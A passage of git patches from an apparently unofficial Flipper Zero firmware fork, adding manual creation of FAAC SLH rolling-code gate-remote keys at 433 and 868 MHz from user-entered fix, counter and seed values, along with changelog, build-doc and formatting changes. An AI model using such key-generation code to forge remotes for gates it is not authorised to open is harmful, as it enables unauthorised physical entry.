`documentation/fbt.md` for details on building and flashing firmware. -## macOS Prerequisites - -Make sure you have [brew](https://brew.sh) and install all the dependencies: -```sh -brew bundle --verbose -``` - -Install Python packages required by assets build scripts: `pip3 install -r scripts/requirements.txt` - ### Compile everything for development ```sh @@ -65,3 +56,24 @@ Install Python packages required by assets build scripts: `pip3 install -r scrip Check `dist/` for build outputs. Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. + + +# Build on Windows + +Check out `documentation/fbt.md` for details on building and flashing firmware. + +### Compile everything for development + +```sh +.\fbt.cmd +``` + +### Compile everything for release + get updater package to update from microSD card + +```sh +.\fbt.cmd --with-updater COMPACT=1 DEBUG=0 updater_package +``` + +Check `dist/` for build outputs. + +Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. diff --git a/documentation/HowToInstall.md b/documentation/HowToInstall.md index 151cf6c67..90038d41f 100644 --- a/documentation/HowToInstall.md +++ b/documentation/HowToInstall.md @@ -6,7 +6,7 @@

-### **Update to the latest official firmware before proceeding** +### **If installng for first time - Update to the latest official firmware before proceeding**

From ef38e0e8b1c5254babfc4dd143a1276daeec30a3 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 20 Jul 2022 22:21:38 +0300 Subject: [PATCH 397/461] update changelog --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d1a880247..aee13eb56 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ * OFW: Furi: core refactoring and CMSIS removal **Note: We changed version names, because our releases not based on official releases, now versions is called -cg-(commit-sha) - where "cg" = "Code Grabber" and (commit sha) - means ofw dev commit on which our version is based** +cg1-(commit-sha) - where "cg" = "Code Grabber", 1 = number of build(if ofw commit doesnt change), and (commit sha) - means ofw dev commit on which our version is based** Self-update package (update from microSD) - `flipper-z-f7-update-(version).zip` From c6099dfcc9016ea50ee674ca5e21f916b1b5f20b Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Thu, 21 Jul 2022 00:35:43 +0300 Subject: [PATCH 398/461] Add FAAC SLH 433 MHz create support --- .../subghz/helpers/subghz_custom_event.h | 3 +- .../subghz/scenes/subghz_scene_config.h | 9 +- ..._cnt.c => subghz_scene_set_cnt_faac_433.c} | 14 +-- .../scenes/subghz_scene_set_cnt_faac_868.c | 46 ++++++++ ..._fix.c => subghz_scene_set_fix_faac_433.c} | 14 +-- .../scenes/subghz_scene_set_fix_faac_868.c | 46 ++++++++ .../scenes/subghz_scene_set_seed_faac_433.c | 103 ++++++++++++++++++ ...eed.c => subghz_scene_set_seed_faac_868.c} | 12 +- .../subghz/scenes/subghz_scene_set_type.c | 15 ++- 9 files changed, 235 insertions(+), 27 deletions(-) rename applications/subghz/scenes/{subghz_scene_set_cnt.c => subghz_scene_set_cnt_faac_433.c} (72%) create mode 100644 applications/subghz/scenes/subghz_scene_set_cnt_faac_868.c rename applications/subghz/scenes/{subghz_scene_set_fix.c => subghz_scene_set_fix_faac_433.c} (72%) create mode 100644 applications/subghz/scenes/subghz_scene_set_fix_faac_868.c create mode 100644 applications/subghz/scenes/subghz_scene_set_seed_faac_433.c rename applications/subghz/scenes/{subghz_scene_set_seed.c => subghz_scene_set_seed_faac_868.c} (90%) diff --git a/applications/subghz/helpers/subghz_custom_event.h b/applications/subghz/helpers/subghz_custom_event.h index 11416f184..a4566cba3 100644 --- a/applications/subghz/helpers/subghz_custom_event.h +++ b/applications/subghz/helpers/subghz_custom_event.h @@ -6,7 +6,8 @@ typedef enum { SubGhzCustomEventManagerSetRAW, //SubmenuIndex - SubmenuIndexFaacSLH, + SubmenuIndexFaacSLH_433, + SubmenuIndexFaacSLH_868, SubmenuIndexBFT, SubmenuIndexPricenton, SubmenuIndexNiceFlo12bit, diff --git a/applications/subghz/scenes/subghz_scene_config.h b/applications/subghz/scenes/subghz_scene_config.h index ee4408971..47cfe8212 100644 --- a/applications/subghz/scenes/subghz_scene_config.h +++ b/applications/subghz/scenes/subghz_scene_config.h @@ -17,9 +17,12 @@ ADD_SCENE(subghz, test_static, TestStatic) ADD_SCENE(subghz, test_carrier, TestCarrier) ADD_SCENE(subghz, test_packet, TestPacket) ADD_SCENE(subghz, set_type, SetType) -ADD_SCENE(subghz, set_fix, SetFix) -ADD_SCENE(subghz, set_cnt, SetCnt) -ADD_SCENE(subghz, set_seed, SetSeed) +ADD_SCENE(subghz, set_fix_faac_868, SetFixFaac868) +ADD_SCENE(subghz, set_cnt_faac_868, SetCntFaac868) +ADD_SCENE(subghz, set_seed_faac_868, SetSeedFaac868) +ADD_SCENE(subghz, set_fix_faac_433, SetFixFaac433) +ADD_SCENE(subghz, set_cnt_faac_433, SetCntFaac433) +ADD_SCENE(subghz, set_seed_faac_433, SetSeedFaac433) ADD_SCENE(subghz, set_fix_bft, SetFixBft) ADD_SCENE(subghz, set_cnt_bft, SetCntBft) ADD_SCENE(subghz, set_seed_bft, SetSeedBft) diff --git a/applications/subghz/scenes/subghz_scene_set_cnt.c b/applications/subghz/scenes/subghz_scene_set_cnt_faac_433.c similarity index 72% rename from applications/subghz/scenes/subghz_scene_set_cnt.c rename to applications/subghz/scenes/subghz_scene_set_cnt_faac_433.c index 718e055db..4bb551db8 100644 --- a/applications/subghz/scenes/subghz_scene_set_cnt.c +++ b/applications/subghz/scenes/subghz_scene_set_cnt_faac_433.c @@ -1,14 +1,14 @@ #include "../subghz_i.h" -#define TAG "SubGhzSetCnt" +#define TAG "SubGhzSetCntFaac433" -void subghz_scene_set_cnt_byte_input_callback(void* context) { +void subghz_scene_set_cnt_faac_433_byte_input_callback(void* context) { SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); } -void subghz_scene_set_cnt_on_enter(void* context) { +void subghz_scene_set_cnt_faac_433_on_enter(void* context) { SubGhz* subghz = context; // Setup view @@ -16,7 +16,7 @@ void subghz_scene_set_cnt_on_enter(void* context) { byte_input_set_header_text(byte_input, "Enter COUNTER in hex, 20bits"); byte_input_set_result_callback( byte_input, - subghz_scene_set_cnt_byte_input_callback, + subghz_scene_set_cnt_faac_433_byte_input_callback, NULL, subghz, subghz->txrx->secure_data->cnt, @@ -24,20 +24,20 @@ void subghz_scene_set_cnt_on_enter(void* context) { view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } -bool subghz_scene_set_cnt_on_event(void* context, SceneManagerEvent event) { +bool subghz_scene_set_cnt_faac_433_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { - scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetSeed); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetSeedFaac433); consumed = true; } } return consumed; } -void subghz_scene_set_cnt_on_exit(void* context) { +void subghz_scene_set_cnt_faac_433_on_exit(void* context) { SubGhz* subghz = context; // Clear view diff --git a/applications/subghz/scenes/subghz_scene_set_cnt_faac_868.c b/applications/subghz/scenes/subghz_scene_set_cnt_faac_868.c new file mode 100644 index 000000000..f4908f865 --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_cnt_faac_868.c @@ -0,0 +1,46 @@ +#include "../subghz_i.h" + +#define TAG "SubGhzSetCntFaac868" + +void subghz_scene_set_cnt_faac_868_byte_input_callback(void* context) { + SubGhz* subghz = context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_cnt_faac_868_on_enter(void* context) { + SubGhz* subghz = context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter COUNTER in hex, 20bits"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_cnt_faac_868_byte_input_callback, + NULL, + subghz, + subghz->txrx->secure_data->cnt, + 3); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_cnt_faac_868_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetSeedFaac868); + consumed = true; + } + } + return consumed; +} + +void subghz_scene_set_cnt_faac_868_on_exit(void* context) { + SubGhz* subghz = context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_fix.c b/applications/subghz/scenes/subghz_scene_set_fix_faac_433.c similarity index 72% rename from applications/subghz/scenes/subghz_scene_set_fix.c rename to applications/subghz/scenes/subghz_scene_set_fix_faac_433.c index b17a1852a..62af59e2c 100644 --- a/applications/subghz/scenes/subghz_scene_set_fix.c +++ b/applications/subghz/scenes/subghz_scene_set_fix_faac_433.c @@ -1,14 +1,14 @@ #include "../subghz_i.h" -#define TAG "SubGhzSetFix" +#define TAG "SubGhzSetFixFaac433" -void subghz_scene_set_fix_byte_input_callback(void* context) { +void subghz_scene_set_fix_faac_433_byte_input_callback(void* context) { SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); } -void subghz_scene_set_fix_on_enter(void* context) { +void subghz_scene_set_fix_faac_433_on_enter(void* context) { SubGhz* subghz = context; // Setup view @@ -16,7 +16,7 @@ void subghz_scene_set_fix_on_enter(void* context) { byte_input_set_header_text(byte_input, "Enter FIX in hex"); byte_input_set_result_callback( byte_input, - subghz_scene_set_fix_byte_input_callback, + subghz_scene_set_fix_faac_433_byte_input_callback, NULL, subghz, subghz->txrx->secure_data->fix, @@ -24,20 +24,20 @@ void subghz_scene_set_fix_on_enter(void* context) { view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } -bool subghz_scene_set_fix_on_event(void* context, SceneManagerEvent event) { +bool subghz_scene_set_fix_faac_433_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { if(event.event == SubGhzCustomEventByteInputDone) { - scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetCnt); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetCntFaac433); consumed = true; } } return consumed; } -void subghz_scene_set_fix_on_exit(void* context) { +void subghz_scene_set_fix_faac_433_on_exit(void* context) { SubGhz* subghz = context; // Clear view diff --git a/applications/subghz/scenes/subghz_scene_set_fix_faac_868.c b/applications/subghz/scenes/subghz_scene_set_fix_faac_868.c new file mode 100644 index 000000000..ea9759a4a --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_fix_faac_868.c @@ -0,0 +1,46 @@ +#include "../subghz_i.h" + +#define TAG "SubGhzSetFixFaac868" + +void subghz_scene_set_fix_faac_868_byte_input_callback(void* context) { + SubGhz* subghz = context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_fix_faac_868_on_enter(void* context) { + SubGhz* subghz = context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter FIX in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_fix_faac_868_byte_input_callback, + NULL, + subghz, + subghz->txrx->secure_data->fix, + 4); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_fix_faac_868_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetCntFaac868); + consumed = true; + } + } + return consumed; +} + +void subghz_scene_set_fix_faac_868_on_exit(void* context) { + SubGhz* subghz = context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_seed_faac_433.c b/applications/subghz/scenes/subghz_scene_set_seed_faac_433.c new file mode 100644 index 000000000..37ceea300 --- /dev/null +++ b/applications/subghz/scenes/subghz_scene_set_seed_faac_433.c @@ -0,0 +1,103 @@ +#include "../subghz_i.h" +#include +#include + +#define TAG "SubGhzSetSeedFaac433" + +void subghz_scene_set_seed_faac_433_byte_input_callback(void* context) { + SubGhz* subghz = context; + + view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); +} + +void subghz_scene_set_seed_faac_433_on_enter(void* context) { + SubGhz* subghz = context; + + // Setup view + ByteInput* byte_input = subghz->byte_input; + byte_input_set_header_text(byte_input, "Enter SEED in hex"); + byte_input_set_result_callback( + byte_input, + subghz_scene_set_seed_faac_433_byte_input_callback, + NULL, + subghz, + subghz->txrx->secure_data->seed, + 4); + view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); +} + +bool subghz_scene_set_seed_faac_433_on_event(void* context, SceneManagerEvent event) { + SubGhz* subghz = context; + bool consumed = false; + bool generated_protocol = false; + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubGhzCustomEventByteInputDone) { + uint32_t fix_part = + subghz->txrx->secure_data->fix[0] << 24 | subghz->txrx->secure_data->fix[1] << 16 | + subghz->txrx->secure_data->fix[2] << 8 | subghz->txrx->secure_data->fix[3]; + + uint32_t cnt = subghz->txrx->secure_data->cnt[0] << 16 | + subghz->txrx->secure_data->cnt[1] << 8 | + subghz->txrx->secure_data->cnt[2]; + + uint32_t seed = subghz->txrx->secure_data->seed[0] << 24 | + subghz->txrx->secure_data->seed[1] << 16 | + subghz->txrx->secure_data->seed[2] << 8 | + subghz->txrx->secure_data->seed[3]; + + subghz->txrx->transmitter = + subghz_transmitter_alloc_init(subghz->txrx->environment, "Faac SLH"); + if(subghz->txrx->transmitter) { + subghz_protocol_faac_slh_create_data( + subghz_transmitter_get_protocol_instance(subghz->txrx->transmitter), + subghz->txrx->fff_data, + fix_part >> 4, + fix_part & 0xf, + (cnt & 0xFFFFF), + seed, + "FAAC_SLH", + 433920000, + FuriHalSubGhzPresetOok650Async); + + uint8_t seed_data[sizeof(uint32_t)] = {0}; + for(size_t i = 0; i < sizeof(uint32_t); i++) { + seed_data[sizeof(uint32_t) - i - 1] = (seed >> i * 8) & 0xFF; + } + + flipper_format_write_hex( + subghz->txrx->fff_data, "Seed", seed_data, sizeof(uint32_t)); + + generated_protocol = true; + } else { + generated_protocol = false; + } + + subghz_transmitter_free(subghz->txrx->transmitter); + + if(!generated_protocol) { + string_set_str( + subghz->error_str, "Function requires\nan SD card with\nfresh databases."); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); + } + consumed = true; + } + + if(generated_protocol) { + subghz_file_name_clear(subghz); + DOLPHIN_DEED(DolphinDeedSubGhzAddManually); + scene_manager_set_scene_state( + subghz->scene_manager, SubGhzSceneSetType, SubGhzCustomEventManagerSet); + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName); + return true; + } + } + return consumed; +} + +void subghz_scene_set_seed_faac_433_on_exit(void* context) { + SubGhz* subghz = context; + + // Clear view + byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(subghz->byte_input, ""); +} diff --git a/applications/subghz/scenes/subghz_scene_set_seed.c b/applications/subghz/scenes/subghz_scene_set_seed_faac_868.c similarity index 90% rename from applications/subghz/scenes/subghz_scene_set_seed.c rename to applications/subghz/scenes/subghz_scene_set_seed_faac_868.c index 8e582f442..abdd7bf38 100644 --- a/applications/subghz/scenes/subghz_scene_set_seed.c +++ b/applications/subghz/scenes/subghz_scene_set_seed_faac_868.c @@ -2,15 +2,15 @@ #include #include -#define TAG "SubGhzSetSeed" +#define TAG "SubGhzSetSeedFaac868" -void subghz_scene_set_seed_byte_input_callback(void* context) { +void subghz_scene_set_seed_faac_868_byte_input_callback(void* context) { SubGhz* subghz = context; view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone); } -void subghz_scene_set_seed_on_enter(void* context) { +void subghz_scene_set_seed_faac_868_on_enter(void* context) { SubGhz* subghz = context; // Setup view @@ -18,7 +18,7 @@ void subghz_scene_set_seed_on_enter(void* context) { byte_input_set_header_text(byte_input, "Enter SEED in hex"); byte_input_set_result_callback( byte_input, - subghz_scene_set_seed_byte_input_callback, + subghz_scene_set_seed_faac_868_byte_input_callback, NULL, subghz, subghz->txrx->secure_data->seed, @@ -26,7 +26,7 @@ void subghz_scene_set_seed_on_enter(void* context) { view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput); } -bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { +bool subghz_scene_set_seed_faac_868_on_event(void* context, SceneManagerEvent event) { SubGhz* subghz = context; bool consumed = false; bool generated_protocol = false; @@ -94,7 +94,7 @@ bool subghz_scene_set_seed_on_event(void* context, SceneManagerEvent event) { return consumed; } -void subghz_scene_set_seed_on_exit(void* context) { +void subghz_scene_set_seed_faac_868_on_exit(void* context) { SubGhz* subghz = context; // Clear view diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 5695849ec..613067be6 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -69,7 +69,13 @@ void subghz_scene_set_type_on_enter(void* context) { submenu_add_item( subghz->submenu, "Faac SLH_868", - SubmenuIndexFaacSLH, + SubmenuIndexFaacSLH_868, + subghz_scene_set_type_submenu_callback, + subghz); + submenu_add_item( + subghz->submenu, + "Faac SLH_433", + SubmenuIndexFaacSLH_433, subghz_scene_set_type_submenu_callback, subghz); submenu_add_item( @@ -187,8 +193,11 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { //ToDo Fix uint32_t key = subghz_random_serial(); switch(event.event) { - case SubmenuIndexFaacSLH: - scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFix); + case SubmenuIndexFaacSLH_868: + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFixFaac868); + break; + case SubmenuIndexFaacSLH_433: + scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFixFaac433); break; case SubmenuIndexBFT: scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSetFixBft); From a8870aac2ba1786059d4a12dd76b09d5d661c05c Mon Sep 17 00:00:00 2001 From: Eng1n33r <101719414+Eng1n33r@users.noreply.github.com> Date: Thu, 21 Jul 2022 00:42:35 +0300 Subject: [PATCH 399/461] update changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index aee13eb56..1e84c20d8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,5 @@ ### New changes +* FAAC SLH 433 MHz add manually support * FAAC SLH correct seed view * Add new keys: FAAC SLH/Spa and BFT Mitto/Secure * Some updates of custom apps, using furi now instead of cmsis(os) From 3f871f41f469ab4a472dd6ae2de1fc4b4ebb6743 Mon Sep 17 00:00:00 2001 From: 0wlyW00d Date: Fri, 22 Jul 2022 18:22:18 +0100 Subject: [PATCH 400/461] Update docker-compose to add platform support for Apple ARM --- docker-compose.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/docker-compose.yml b/docker-compose.yml index 39aca411a..d717b3aa2 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,6 +1,7 @@ version: '3' services: dev: + platform: linux/x86_64 image: flipperdevices/flipperzero-toolchain network_mode: host privileged: true From 0a0e5b4e31ac76d68cbd90d5d78091fa23104c29 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Mon, 25 Jul 2022 14:01:56 +0300 Subject: [PATCH 401/461] update readme --- ReadMe.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 4e1880595..717b7fbf3 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -41,6 +41,7 @@ See changelog in releases for latest updates! - An-Motors - CAME Atomo - FAAC SLH (Spa) +- BFT Mitto - Keeloq(+ proper manufacturer codes selection) - Nice Flor S - SecPlus v1 & v2 @@ -82,7 +83,7 @@ See changelog in releases for latest updates! # Links * Unofficial Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU) -* Docs by atmanos / How to write your own app (outdated): [https://flipper.atmanos.com/docs](https://flipper.atmanos.com/docs/your-first-program/intro) +* Docs by atmanos / How to write your own app (outdated API): [https://flipper.atmanos.com/docs/overview/intro](https://flipper.atmanos.com/docs/overview/intro) * Official Docs: [http://docs.flipperzero.one](http://docs.flipperzero.one) * Official Forum: [forum.flipperzero.one](https://forum.flipperzero.one/) From c12c399608349a08ad3807764027bb376233e7c3 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Tue, 26 Jul 2022 21:18:06 +0300 Subject: [PATCH 402/461] update user settings --- assets/resources/Manifest | 4 ++-- assets/resources/subghz/assets/setting_user | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 240021fcd..e0158bae5 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1658858949 +T:1658859390 D:badusb D:dolphin D:infrared @@ -235,7 +235,7 @@ F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:111d2b8df83e27fd889fc5e270297865:3231:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:837b16faadc5ffb657be1718b05f0bbc:1472:subghz/assets/setting_user +F:c572eaba12d023a199a43098c2c6b72a:1506:subghz/assets/setting_user F:9a50dd284146dfbd8050a2ade62174d9:266:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index 2ffc42c0b..b48ded6e8 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -7,7 +7,7 @@ Version: 1 # Default Frequency: used as default for "Read" and "Read Raw" #Default_frequency: 433920000 -# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer" + default ones if enabled in add_standard_frequencies +# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer" - they added after default ones if enabled in Add_standard_frequencies Frequency: 302757000 Frequency: 312000000 Frequency: 312100000 @@ -23,7 +23,7 @@ Frequency: 464000000 Frequency: 779000000 Frequency: 928000000 -# Frequencies used for hopping mode (keep this list small or flipper will miss signal) + default ones if enabled in add_standard_frequencies +# Frequencies used for hopping mode (keep this list small or flipper will miss signal) - they added after default ones if enabled in Add_standard_frequencies #Hopper_frequency: 300000000 Hopper_frequency: 345000000 Hopper_frequency: 434420000 From f359e0d9db02dbb0eb219e7f9463022f1f026b4f Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Tue, 26 Jul 2022 21:52:34 +0300 Subject: [PATCH 403/461] formatted --- applications/clock_app/clock_app.c | 2 +- applications/subghz/scenes/subghz_scene_receiver_info.c | 5 ++--- applications/unirfremix/unirfremix_app.c | 6 ++++-- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c index 1d4c3667c..41f02e4d1 100644 --- a/applications/clock_app/clock_app.c +++ b/applications/clock_app/clock_app.c @@ -401,6 +401,6 @@ int32_t clock_app(void* p) { view_port_free(view_port); furi_message_queue_free(event_queue); delete_mutex(&state_mutex); - + return 0; } \ No newline at end of file diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 9218ed904..58183b323 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -45,7 +45,6 @@ static bool subghz_scene_receiver_info_update_parser(void* context) { } void subghz_scene_receiver_info_draw_widget(SubGhz* subghz) { - if(subghz_scene_receiver_info_update_parser(subghz)) { string_t frequency_str; string_t modulation_str; @@ -146,10 +145,10 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event) } else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) { //CC1101 Stop Tx -> Start RX subghz->state_notifications = SubGhzNotificationStateIDLE; - + widget_reset(subghz->widget); subghz_scene_receiver_info_draw_widget(subghz); - + if(subghz->txrx->txrx_state == SubGhzTxRxStateTx) { subghz_tx_stop(subghz); } diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index 6119529ba..657adb810 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -958,7 +958,8 @@ int32_t unirfremix_app(void* p) { //input detect loop start InputEvent input; while(1) { - furi_check(furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk); + furi_check( + furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk); FURI_LOG_I( TAG, "key: %s type: %s", @@ -1093,7 +1094,8 @@ int32_t unirfremix_app(void* p) { InputEvent input; while(1) { - furi_check(furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk); + furi_check( + furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk); FURI_LOG_I( TAG, "key: %s type: %s", From 40c3835977c1fbd58c5fc3c9a90294625087b7ba Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Tue, 26 Jul 2022 23:11:51 +0300 Subject: [PATCH 404/461] update changelog --- CHANGELOG.md | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1e84c20d8..9dff3f962 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,10 +1,15 @@ ### New changes -* FAAC SLH 433 MHz add manually support -* FAAC SLH correct seed view -* Add new keys: FAAC SLH/Spa and BFT Mitto/Secure -* Some updates of custom apps, using furi now instead of cmsis(os) -* Some build changes -* OFW: Furi: core refactoring and CMSIS removal +* OFW: nfc: NTAG203 support +* OFW: NFC new design +* OFW: Allow spaces in file name +* OFW: Fix incorrect IR remote renaming behaviour +* OFW: Buffered file streams +* OFW: SubGhz: bugfixes and add support for loading custom presets +* OFW: updater: fixed dolphin level not being migrated +* OFW: GUI changes & fixes +* OFW: Other changes + +- [!!!] Replace your subghz/assets/setting_user with file from `sd-card-(version).zip` because file format has been changed **Note: We changed version names, because our releases not based on official releases, now versions is called cg1-(commit-sha) - where "cg" = "Code Grabber", 1 = number of build(if ofw commit doesnt change), and (commit sha) - means ofw dev commit on which our version is based** From b6ab686a3412cae3f6e85c31ba752b791cedf42a Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 27 Jul 2022 15:58:32 +0300 Subject: [PATCH 405/461] fix typo --- applications/subghz/helpers/subghz_types.h | 4 ++-- .../subghz/scenes/subghz_scene_receiver_info.c | 4 ++-- applications/subghz/subghz.c | 2 +- applications/subghz/subghz_history.c | 8 ++++---- applications/subghz/subghz_history.h | 6 +++--- applications/subghz/subghz_i.h | 2 +- lib/subghz/blocks/generic.c | 2 +- lib/subghz/blocks/generic.h | 4 ++-- lib/subghz/protocols/base.c | 2 +- lib/subghz/protocols/base.h | 4 ++-- lib/subghz/protocols/came.c | 2 +- lib/subghz/protocols/came.h | 4 ++-- lib/subghz/protocols/came_atomo.c | 2 +- lib/subghz/protocols/came_atomo.h | 4 ++-- lib/subghz/protocols/came_twee.c | 2 +- lib/subghz/protocols/came_twee.h | 4 ++-- lib/subghz/protocols/chamberlain_code.c | 2 +- lib/subghz/protocols/chamberlain_code.h | 4 ++-- lib/subghz/protocols/faac_slh.c | 6 +++--- lib/subghz/protocols/faac_slh.h | 8 ++++---- lib/subghz/protocols/gate_tx.c | 2 +- lib/subghz/protocols/gate_tx.h | 4 ++-- lib/subghz/protocols/holtek.c | 2 +- lib/subghz/protocols/holtek.h | 4 ++-- lib/subghz/protocols/hormann.c | 2 +- lib/subghz/protocols/hormann.h | 4 ++-- lib/subghz/protocols/ido.c | 2 +- lib/subghz/protocols/ido.h | 4 ++-- lib/subghz/protocols/keeloq.c | 6 +++--- lib/subghz/protocols/keeloq.h | 12 ++++++------ lib/subghz/protocols/kia.c | 2 +- lib/subghz/protocols/kia.h | 4 ++-- lib/subghz/protocols/linear.c | 2 +- lib/subghz/protocols/linear.h | 4 ++-- lib/subghz/protocols/megacode.c | 2 +- lib/subghz/protocols/megacode.h | 4 ++-- lib/subghz/protocols/nero_radio.c | 2 +- lib/subghz/protocols/nero_radio.h | 4 ++-- lib/subghz/protocols/nero_sketch.c | 2 +- lib/subghz/protocols/nero_sketch.h | 4 ++-- lib/subghz/protocols/nice_flo.c | 2 +- lib/subghz/protocols/nice_flo.h | 4 ++-- lib/subghz/protocols/nice_flor_s.c | 2 +- lib/subghz/protocols/nice_flor_s.h | 4 ++-- lib/subghz/protocols/power_smart.c | 2 +- lib/subghz/protocols/power_smart.h | 4 ++-- 